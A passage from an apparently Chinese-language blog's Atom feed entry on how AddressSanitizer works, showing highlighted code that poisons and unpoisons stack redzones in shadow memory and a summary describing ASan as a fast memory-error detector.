class="number">8</span>)+Offset);</span><br><span class="line"> <span class="comment">// poison the redzones around arr.</span></span><br><span class="line"> shadow[<span class="number">0</span>] = <span class="number">0xffffffff</span>; <span class="comment">// rz1</span></span><br><span class="line"> shadow[<span class="number">1</span>] = <span class="number">0xffff0200</span>; <span class="comment">// arr and rz2</span></span><br><span class="line"> shadow[<span class="number">2</span>] = <span class="number">0xffffffff</span>; <span class="comment">// rz2</span></span><br><span class="line"> <function body></span><br><span class="line"> <span class="comment">// un-poison all.</span></span><br><span class="line"> shadow[<span class="number">0</span>] = shadow[<span class="number">1</span>] = shadow[<span class="number">2</span>] = <span class="number">0</span>; }</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html"><h2 id="AddressSanitizer-原理"><a href="#AddressSanitizer-原理" class="headerlink" title="AddressSanitizer 原理"></a>AddressSanitizer 原理</h2><p>AddressSanitizer(ASan)是一个快速的内存错误检测工具。它非常快,只拖慢程序两倍左右。它包括一个编译器instrumentation模块和一个提供malloc()/free()替代项的运行时库。从gcc 4.8开始,AddressSanitizer成为gcc的一部分。</p></summary>
<category term="C++" scheme="http://example.com/tags/C/"/>
<category term="C" scheme="http://example.com/tags/C/"/>
<category term="AddressSanitizer" scheme="http://example.com/tags/AddressSanitizer/"/>
<category term="漏洞检测" scheme="http://example.com/tags/%E6%BC%8F%E6%B4%9E%E6%A3%80%E6%B5%8B/"/>
</entry>
</feed>